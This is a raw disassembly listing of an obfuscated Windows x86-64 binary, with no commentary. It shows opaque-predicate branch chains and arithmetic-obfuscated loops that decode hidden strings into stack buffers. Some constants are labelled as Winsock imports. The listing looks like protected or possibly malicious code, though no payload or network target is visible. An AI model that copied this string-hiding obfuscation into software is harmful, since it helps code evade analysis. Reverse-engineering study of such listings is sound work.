lea rax, [r11 + 0x40]
cmp r9, rax
je 0x140169147
lea rax, [r11 + 8]
cmp r9, rax
je 0x14016912b
lea rax, [r11 + 1]
cmp r9, rax
je 0x14016910b
lea rax, [r11 + 0x1000]
cmp r9, rax
je 0x1401690dd
lea rax, [r11 + 0x42]
cmp r9, rax
je 0x140168c80
lea r9, [r11 + 3]
lea r11, [r9 + 9]
lea rax, [r11 + 0x7a]
cmp r9, rax
jb 0x1401696d4
lea rax, [r11 + 0x80]
cmp r9, rax
jb 0x1401696b5
lea rax, [r11 + 0x10]
cmp r9, rax
jb 0x140168e6a
lea rax, [r11 + 4]
cmp r9, rax
jb 0x140168e4f
lea rax, [r11 + 0x41]
cmp r9, rax
jb 0x140168e34
lea rax, [r11 + 0x200]
cmp r9, rax
jb 0x140169088
lea rax, [r11 + 0x20]
cmp r9, rax
jb 0x140169036
lea rax, [r11 + 5]
cmp r9, rax
jb 0x140168ff4
lea rax, [r11 + 9]
cmp r9, rax
jb 0x140168fc8
lea rax, [r11 + 2]
cmp r9, rax
jb 0x140168c80
lea r9, [r11 + 8]
lea r11, [r9 + 0x61]
lea rax, [r11 + 1]
cmp r9, rax
ja 0x140168f9a
lea rax, [r11 + 0x1000]
cmp r9, rax
ja 0x140168f79
lea rax, [r11 + 0x42]
cmp r9, rax
ja 0x140168f5c
lea rax, [r11 + 9]
cmp r9, rax
ja 0x140168f3b
lea rax, [r11 + 2]
cmp r9, rax
ja 0x140168f17
lea rax, [r11 + 5]
cmp r9, rax
ja 0x140168ef7
lea rax, [r11 + 0x5a]
cmp r9, rax
ja 0x140168ed0
lea rax, [r11 + 0x3e8]
cmp r9, rax
ja 0x140168ea6
lea rax, [r11 + 0x28]
cmp r9, rax
ja 0x140168e87
lea rax, [r11 + 6]
cmp r9, rax
ja 0x140168c80
lea r9, [r11 + 0x20]
lea r11, [r9 + 0x2a]
jmp 0x140168c80
lea ecx, [r8 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x12
jmp 0x140168c70
lea ecx, [r8 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r14d, [r10 + rcx]
sub r14b, 0x26
jmp 0x140168c03
add r8b, 0x76
movzx eax, r8b
and al, r10b
add al, al
sub r8b, al
lea r14d, [r10 + r8]
sub r14b, 0x3a
jmp 0x140168b90
lea edx, [r8 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x70
add r14b, dl
jmp 0x1401695b2
add r8b, 0x5c
movzx eax, r10b
and al, r8b
mov ecx, 0x3e
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
inc r11
dec rbx
inc rbx
jmp 0x140168b73
sub r8b, 0x58
movzx eax, r10b
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
dec rbx
inc rbx
jmp 0x140168b73
lea edx, [r8 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x140169623
add r8b, 0x40
movzx eax, r10b
and al, r8b
mov ecx, 0x20
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
add r9, r11
jmp 0x140169668
sub r8b, 0x74
movzx eax, r10b
and al, r8b
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
jmp 0x140169668
lea edx, [r8 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
jmp 0x1401694a1
add r8b, 0x24
movzx eax, r10b
and al, r8b
mov ecx, 2
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
jmp 0x1401694cf
add r8b, 0x70
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x10
movzx eax, byte [rbp + rbx + 0x4b7]
add rax, r11
add rbx, rax
inc rbx
jmp 0x140168b73
sub r8b, 0x52
movzx eax, r8b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, r10b
mov byte [rbp + rbx + 0x4b7], r14b
inc rbx
jmp 0x140168b73
lea edx, [r8 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
cmp r11, 9
jb 0x140168fe4
lea edx, [r8 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r14d, [rcx*2 - 8]
jmp 0x1401695b2
lea edx, [r8 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
cmp r9, 4
jae 0x14016946d
lea rax, [r11 + 0x3e8]
cmp r9, rax
jbe 0x140169389
lea edx, [r8 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x14016900f
lea edx, [r8 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
lea rax, [r11 + r9]
cmp rax, 0x2a
je 0x14016948c
lea rax, [r11 + 0x42]
cmp r9, rax
jbe 0x1401692cc
lea edx, [r8 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x1e
add r14b, dl
jmp 0x140169051
add r8b, 0x4c
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x14
movzx eax, byte [rbp + rbx + 0x4b7]
add rax, r11
add rbx, rax
inc rbx
jmp 0x140168b73
sub r8b, 0x68
movzx eax, r10b
and al, r8b
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x28
add r14b, r8b
jmp 0x1401694cf
lea edx, [r8 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x3c
jmp 0x1401694a1
add r8b, 0x30
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x50
jmp 0x140169668
add r8b, 0x7c
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x64
add r9, r11
jmp 0x140169668
lea edx, [r8 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x78
add r14b, dl
jmp 0x140169623
add r8b, 0x14
movzx eax, r10b
and al, r8b
mov ecx, 0x3a
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
dec rbx
inc rbx
jmp 0x140168b73
add r8b, 0x60
movzx eax, r10b
and al, r8b
mov ecx, gethostbyaddr
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
inc r11
dec rbx
inc rbx
jmp 0x140168b73
lea edx, [r8 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, dl
jmp 0x1401695b2
lea rax, [r11 + 0x64]
cmp r9, rax
jae 0x14016923c
lea edx, [r8 + 0x5a]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x76
add r14b, dl
jmp 0x1401690a3
lea rax, [r11 + 1]
cmp r9, rax
jne 0x140169273
sub r8b, 0x3c
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x5c
movzx eax, byte [rbp + rbx + 0x4b7]
add rax, r11
add rbx, rax
inc rbx
jmp 0x140168b73
lea rax, [r11 + 3]
cmp r9, rax
jne 0x140169298
lea edx, [r8 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x34
jmp 0x1401694a1
lea rax, [r11 + 7]
cmp r9, rax
jne 0x1401690a3
sub r8b, 4
movzx eax, r10b
and al, r8b
mov ecx, recvfrom
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
dec rbx
inc rbx
jmp 0x140168b73
lea rax, [r11 + 1]
cmp r9, rax
jne 0x1401692f4
lea edx, [r8 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0xa
add r14b, dl
jmp 0x1401695b2
lea rax, [r11 + 2]
cmp r9, rax
jne 0x140169324
sub r8b, 0x72
movzx eax, r10b
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
dec rbx
inc rbx
jmp 0x140168b73
lea rax, [r11 + 4]
cmp r9, rax
jne 0x14016934e
sub r8b, 0x56
movzx eax, r10b
and al, r8b
mov ecx, 0x2d
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
jmp 0x140169668
lea rax, [r11 + 8]
cmp r9, rax
jne 0x140169051
sub r8b, 0x3a
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x6a
movzx eax, byte [rbp + rbx + 0x4b7]
add rax, r11
add rbx, rax
inc rbx
jmp 0x140168b73
lea rax, [r11 + 1]
cmp r9, rax
jne 0x1401693c4
sub r8b, 0x78
movzx eax, r10b
and al, r8b
mov ecx, 0x24
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
movzx eax, byte [rbp + rbx + 0x4b7]
add rax, r11
add rbx, rax
inc rbx
jmp 0x140168b73
lea rax, [r11 + 5]
cmp r9, rax
jne 0x1401693ed
add r8b, 0x58
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x68
add r9, r11
jmp 0x140169668
lea rax, [r11 + 3]
cmp r9, rax
jne 0x140169415
lea edx, [r8 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x54
add r14b, dl
jmp 0x140169623
lea rax, [r11 + 2]
cmp r9, rax
jne 0x140169441
sub r8b, 0x40
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x40
dec rbx
inc rbx
jmp 0x140168b73
lea rax, [r11 + 4]
cmp r9, rax
jne 0x14016900f
lea edx, [r8 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
sub r14b, 0x18
add r14b, dl
jmp 0x1401695b2
lea edx, [r8 - 0x70]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 8
lea r14d, [rcx + rcx]
add r14b, dl
jmp 0x140169623
lea edx, [r8 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
sub r8b, 0x62
movzx eax, r8b
and al, r10b
add al, al
sub r8b, al
sub r8b, 0x52
add r8b, r10b
movzx eax, r8b
mov byte [rbp + rbx + 0x4b7], al
inc r11
add rax, r11
sub rbx, rax
lea edx, [rbx - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x4b7], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x4b7]
add rax, r11
add rbx, rax
inc rbx
jmp 0x140168b73
sub r8b, 0x4a
movzx eax, r10b
and al, r8b
mov ecx, 3
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r8b
movzx eax, byte [rbp + rbx + 0x4b7]
add rax, r11
add rbx, rax
inc rbx
jmp 0x140168b73
sub r8b, 0x1a
movzx eax, r8b
and al, r10b
add al, al
sub r8b, al
lea r14d, [r10 + r8]
sub r14b, 0x4a
add r9, r11
jmp 0x140169668
add r8b, 0x7e
movzx eax, r8b
and al, r10b
add al, al
sub r8b, al
lea r14d, [r10 + r8]
sub r14b, 0x72
dec rbx
inc rbx
jmp 0x140168b73
lea edx, [r8 + 0x16]
mov ecx, reloc.WS2_32.dll_gethostbyaddr
jmp 0x1401695a0
movzx r8d, bl
lea edx, [r8 - 0x52]
mov ecx, 0x1f
movzx eax, dl
and al, r10b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
add r8b, 0x36
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
sub r10b, 0x7a
add r10b, r8b
mov byte [rbp + rbx + 0x4b7], r10b
inc r11
dec rbx
inc rbx
jmp 0x140168b73
lea edx, [rbx + 0x46]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
dec rbx
inc rbx
jmp 0x140168b73
movzx r8d, bl
lea edx, [r8 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r10b
sub r8b, 0x16
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
sub r10b, 0x66
add r10b, r14b
add r10b, r8b
mov byte [rbp + rbx + 0x4b7], r10b
add r9, r11
jmp 0x140169668
movabs rax, 0xcf9ce77ad00c082a
add rax, rbx
and dil, al
add dil, dil
sub r10b, dil
lea r14d, [rax + r10]
sub r14b, 0x26
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140168b73
movabs rax, 0x9a89a27e4559580e
add rax, rbx
and dil, al
add dil, dil
sub r10b, dil
lea r14d, [rax + r10]
sub r14b, 0x62
movzx eax, byte [rbp + rbx + 0x4b7]
add rax, r11
add rbx, rax
inc rbx
jmp 0x140168b73
sub r8b, 0x3e
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x4e
xor edi, edi
jmp 0x140168b70
add r8b, 0xe
movzx eax, r10b
and al, r8b
add al, al
sub r10b, al
lea r14d, [r8 + r10]
sub r14b, 0x62
xor edi, edi
jmp 0x140168b60
lea rdx, [rbp + 0x157bd2f]
jmp 0x14016970c
lea rdx, [rbp + 0x4ada89]
jmp 0x14016970c
lea rdx, [rbp + 0x4b7]
lea rcx, [rbp + 0x6b8]
call fcn.14013a940
nop
lea r8, [rbp + 0x678]
lea rdx, [rbp + 0x6b8]
mov rcx, r12
call fcn.140153a90
nop
lea rcx, [rbp + 0x6b8]
call fcn.1401362c0
add r15, qword [rbp + 0x8f0]
mov dword [rbp + 0x434], 0x96908c71
mov dword [rbp + 0x438], 0x9381809a
mov dword [rbp + 0x43c], 0x8d9f9391
mov byte [rbp + 0x440], reloc.WS2_32.dll_getservbyport
xor eax, eax
mov qword [rbp + 0x441], rax
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x1404e9d00]
mov r10, qword [0x1404e9cf8]
nop
xor ebx, ebx
cmp rbx, 0x15
jae 0x14016a2a9
movzx r11d, byte [rbp + rbx + 0x434]
mov edi, r11d
nop dword [rax + rax]
cmp r9, rbx
ja 0x14016a2a0
lea rax, [r10 + 1]
cmp r9, rax
jae 0x1401697e5
movabs rcx, 0xefb41bac4b17a386
add rcx, rbx
mov rax, rcx
and rax, rdi
imul rsi, rax, 0xfffffffffffffffe
add rsi, rcx
add rsi, rdi
add sil, 0x56
jmp 0x140169804
je 0x14016a223
inc rax
cmp r9, rax
je 0x14016a1c1
lea rax, [r10 + 5]
cmp r9, rax
je 0x14016a176
movzx r8d, bl
nop dword [rax + rax]
cmp r10, rbx
ja 0x14016a297
lea rax, [r10 + 0x41]
cmp r9, rax
jae 0x14016983e
lea edx, [r8 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x140169872
lea rax, [r10 + 1]
cmp r9, rax
je 0x14016a15e
lea rax, [r10 + 3]
cmp r9, rax
je 0x14016a138
lea rax, [r10 + 4]
cmp r9, rax
je 0x14016a104
lea rax, [r10 + 8]
cmp r9, rax
je 0x14016a0e7
lea rax, [r10 + r9]
cmp rax, rbx
jbe 0x140169dc1
nop
lea rcx, [r10 + 0x20]
cmp r9, rcx
je 0x140169da6
lea rax, [r10 + 0x61]
cmp r9, rax
je 0x140169d80
lea rax, [r10 + 0x64]
cmp r9, rax
je 0x140169d5a
lea rax, [r10 + 0xa]
cmp r9, rax
je 0x140169d3f
lea rax, [r10 + 3]
cmp r9, rax
je 0x140169d1f
lea rax, [r10 + 0x7a]
cmp r9, rax
je 0x140169d11
lea rax, [r10 + 0x80]
cmp r9, rax
je 0x140169cf6
lea rax, [r10 + 0x10]
cmp r9, rax
je 0x140169cd9
lea rax, [r10 + 4]
cmp r9, rax
je 0x140169cbc
lea rax, [r10 + 0x42]
cmp r9, rax
je 0x140169880
mov r9, rcx
lea r10, [rcx + 9]
lea rax, [r10 + 5]
cmp rcx, rax
jb 0x14016a277
lea rax, [r10 + 0x5a]
cmp rcx, rax
jb 0x14016a25a
lea rax, [r10 + 0x3e8]
cmp rcx, rax
jb 0x140169a6a
lea rax, [r10 + 0x28]
cmp rcx, rax
jb 0x140169a4b
lea rax, [r10 + 6]
cmp rcx, rax
jb 0x140169a30
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x140169c73
lea rax, [r10 + 0x10]
cmp rcx, rax
jb 0x140169c26
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x140169be9
lea rax, [r10 + 0x41]
cmp rcx, rax
jb 0x140169bbe
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x140169880
lea r9, [r10 + 0x42]
lea r10, [r9 + 0x20]
lea rax, [r10 + 9]
cmp r9, rax
ja 0x140169b8d
lea rax, [r10 + 2]
cmp r9, rax
ja 0x140169b6d
lea rax, [r10 + 0x61]
cmp r9, rax
ja 0x140169b4e
lea rax, [r10 + 0x64]
cmp r9, rax
ja 0x140169b2e
lea rax, [r10 + 0x2a]
cmp r9, rax
ja 0x140169b0e
lea rax, [r10 + 0x400]
cmp r9, rax
ja 0x140169af5
lea rax, [r10 + 0x40]
cmp r9, rax
ja 0x140169acf
lea rax, [r10 + 8]
cmp r9, rax
ja 0x140169aa9
lea rax, [r10 + 1]
cmp r9, rax
ja 0x140169a8a
lea rax, [r10 + 0x1000]
cmp r9, rax
ja 0x140169880
lea r9, [r10 + 0x200]
lea r10, [r9 + 0x42]
jmp 0x140169880
lea ecx, [r8 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x4e
jmp 0x140169872
lea edx, [r8 - 0x4a]
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x140169810
sub r8b, 0x56
movzx eax, r8b
and al, r11b
mov ecx, 0x2d
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
jmp 0x1401697b0
lea edx, [r8 - 0x10]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, dl
jmp 0x14016a194
sub r8b, 0x1c
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0x3c
inc r10
dec rbx
inc rbx
jmp 0x140169792
sub r8b, 0x28
movzx eax, r11b
and al, r8b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
dec rbx
inc rbx
jmp 0x140169792
lea edx, [r8 - 0x34]
movzx eax, r11b
and al, dl
mov ecx, getservbyname
sub cl, al
lea esi, [rcx + rcx]
jmp 0x14016a076
sub r8b, 0x40
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0x40
add r9, r10
jmp 0x14016a11f
sub r8b, 0x4c
movzx eax, r11b
and al, r8b
mov ecx, 0xa
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
jmp 0x14016a11f
lea edx, [r8 - 0x58]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, dl
jmp 0x14016a0b6
sub r8b, 0x64
movzx eax, r11b
and al, r8b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x44
add sil, r8b
jmp 0x14016a1df
sub r8b, 0x70
movzx eax, r11b
and al, r8b
mov ecx, 8
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
movzx eax, byte [rbp + rbx + 0x434]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140169792
sub r8b, 0xe
movzx eax, r8b
and al, r11b
mov ecx, gethostbyaddr
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
mov byte [rbp + rbx + 0x434], sil
inc rbx
jmp 0x140169792
lea ecx, [r8 - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x4a
cmp r10, 0x10
jb 0x140169bd9
lea edx, [r8 + 0x64]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea esi, [rcx*2 - 0x78]
jmp 0x14016a194
lea edx, [r8 - 0x26]
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
cmp r9, 8
jae 0x14016a05f
lea rdx, [r10 + 4]
cmp r9, rdx
jbe 0x140169f83
lea edx, [r8 - 0x14]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x74
add sil, dl
jmp 0x140169bff
lea edx, [r8 - 0x32]
movzx eax, dl
and al, r11b
mov ecx, gethostbyaddr
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
lea rax, [r10 + r9]
cmp rax, 0x40
je 0x14016a0a5
lea rax, [r10 + 0x10]
cmp r9, rax
jbe 0x140169ebb
lea edx, [r8 - 0x12]
movzx eax, dl
and al, r11b
mov ecx, 0x3f
jmp 0x140169c35
sub r8b, 0xc
movzx eax, r8b
and al, r11b
mov ecx, 0x2a
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14016a241
sub r8b, 0x18
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
sub sil, 0x58
jmp 0x14016a1df
lea ecx, [r8 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 4
jmp 0x14016a0b6
sub r8b, 0x30
mov ecx, 0x28
jmp 0x14016a10d
sub r8b, 0x3c
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
sub sil, 0x5c
add r9, r10
jmp 0x14016a11f
lea ecx, [r8 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 8
jmp 0x14016a07c
sub r8b, 0x54
movzx eax, r8b
and al, r11b
mov ecx, 0x26
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
dec rbx
inc rbx
jmp 0x140169792
sub r8b, 0x60
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
sub sil, 0x60
inc r10
dec rbx
inc rbx
jmp 0x140169792
lea ecx, [r8 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0xc
jmp 0x14016a194
lea rax, [r10 + 4]
cmp r9, rax
jae 0x140169dde
lea edx, [r8 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, 0x2b
jmp 0x140169c82
lea rax, [r10 + 1]
cmp r9, rax
jne 0x140169e04
sub r8b, 4
movzx eax, r8b
and al, r11b
mov ecx, recvfrom
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14016a241
inc rax
cmp r9, rax
jne 0x140169e1a
add r8b, 0x20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14016a10d
lea rax, [r10 + 5]
cmp r9, rax
jne 0x140169e42
lea edx, [r8 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, 0x3c
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x14016a07c
lea rax, [r10 + 7]
cmp r9, rax
jne 0x140169e71
add r8b, 0x44
movzx eax, r8b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
dec rbx
inc rbx
jmp 0x140169792
lea rax, [r10 + 3]
cmp r9, rax
jne 0x140169ea0
add r8b, 0x50
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
sub sil, 0x30
inc r10
dec rbx
inc rbx
jmp 0x140169792
lea rax, [r10 + 8]
cmp r9, rax
jne 0x140169c8d
lea edx, [r8 + 0x5c]
mov ecx, 0x3e
jmp 0x14016a183
lea rax, [r10 + 1]
cmp r9, rax
jne 0x140169ed2
lea edx, [r8 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14016a183
lea rax, [r10 + 3]
cmp r9, rax
jne 0x140169efa
lea edx, [r8 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x14016a07c
lea rax, [r10 + 5]
cmp r9, rax
jne 0x140169f20
add r8b, 0x36
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea esi, [r11 + r8]
sub sil, 0x7a
jmp 0x14016a11f
lea rax, [r10 + 4]
cmp r9, rax
jne 0x140169f48
lea edx, [r8 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, 0x19
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x14016a0b6
lea rax, [r10 + 6]
cmp r9, rax
jne 0x140169c40
add r8b, 0x5a
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea esi, [r8 + r11]
sub sil, 0x76
movzx eax, byte [rbp + rbx + 0x434]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140169792
lea rcx, [r10 + 1]
cmp r9, rcx
jne 0x140169fbd
sub r8b, 8
movzx eax, r11b
and al, r8b
mov ecx, 0x1c
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
movzx eax, byte [rbp + rbx + 0x434]
add rax, r10
add rbx, rax
inc rbx
jmp 0x140169792
lea rax, [r10 + 3]
cmp r9, rax
jne 0x140169fe5
lea edx, [r8 + 0x10]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x70
add sil, dl
jmp 0x14016a0b6
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14016a00e
add r8b, 0x1c
movzx eax, r11b
and al, r8b
mov ecx, 0x1e
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
jmp 0x14016a11f
lea rax, [r10 + 5]
cmp r9, rax
jne 0x14016a030
lea edx, [r8 + 0x34]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x6c
jmp 0x14016a079
cmp r9, rdx
jne 0x140169bff
add r8b, 0x40
movzx eax, r11b
and al, r8b
mov ecx, 0x20
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, r8b
dec rbx
inc rbx
jmp 0x140169792
lea edx, [r8 + 0x70]
movzx eax, r11b
and al, dl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x10
add sil, r11b
add sil, dl
sub r8b, 0xa
movzx eax, r11b
and al, r8b
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, sil
add cl, r11b
add cl, r8b
mov byte [rbp + rbx + 0x434], cl
add r9, r10
jmp 0x14016a11f
lea ecx, [r8 + 0x7c]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea esi, [rcx - 0x64]
add r8b, 2
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0xe
add cl, r8b
movzx eax, cl
mov byte [rbp + rbx + 0x434], al
inc r10
add rax, r10
sub rbx, rax
jmp 0x14016a1df
add r8b, 0x6a
movzx eax, r8b
and al, r11b
mov ecx, recvfrom
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
jmp 0x14016a241
add r8b, 0x46
mov ecx, reloc.WS2_32.dll_inet_addr
movzx eax, r8b
and al, r11b
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140169792
add r8b, 0x22
movzx eax, r8b
and al, r11b
mov ecx, 9
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, r11b
dec rbx
inc rbx
jmp 0x140169792
lea ecx, [r8 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
sub sil, 0x46
jmp 0x14016a194
movzx r8d, bl
lea edx, [r8 - 0xe]
mov ecx, gethostbyaddr
movzx eax, dl
and al, r11b
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
